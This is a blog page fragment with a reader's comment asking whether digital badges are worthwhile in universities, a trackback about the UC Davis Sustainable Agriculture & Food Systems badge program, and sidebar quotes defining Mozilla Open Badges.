        Thank you for your reply. I will pass the information on to my organization. Your experience is worth keeping in mind.

        I want to ask you: do you think using badges in a university is worthwhile? What do think are important factors to keep in mind when undertaking badging? Just keep in small? Are there learning aspects that badges do well? Or do you think badging is just a fad?

        I appreciate your sharing your experience.

        Mary

1 Pings/Trackbacks for "UC Davis Sustainable Agriculture & Food Systems (SA&FS)"
  1. […] One of the earliest programs to start thinking about digital badges in higher ed is UC Davis’ Sustainable Agriculture & Food Systems (SA&FS) undergraduate program. This case shows how badges can complement an existing credential structure by […]

Leave a Reply to Merija (Mary) Jirgensons Cancel reply

Your email address will not be published. Required fields are marked *

*

Mozilla Open Badges
Digital Badges are web-enabled credentials of learning or accomplishment. -Erin Knight, director of the Badge Alliance
Badges contain detailed claims about learning, links to actual evidence of learning, and they're shareable over the web. -Dan Hickey, DPD Project Lead Investigator
To me, digital badges represent the bridge between formal learning & informal structures. -Alex Halavais, DML research competition winner
Open Badges can help people tell a verifiable story about their accomplishments. -Nate Otto, DPD Project coordinator
Regardless of where you start, it’s more than likely you’ll end up somewhere other than your intended destination. That’s okay. Systems are living things, and your badge system needs to be flexible. You must embrace a bit of chaos in its design. -Carla Casilli, Director of Design + Practice at the Badge Alliance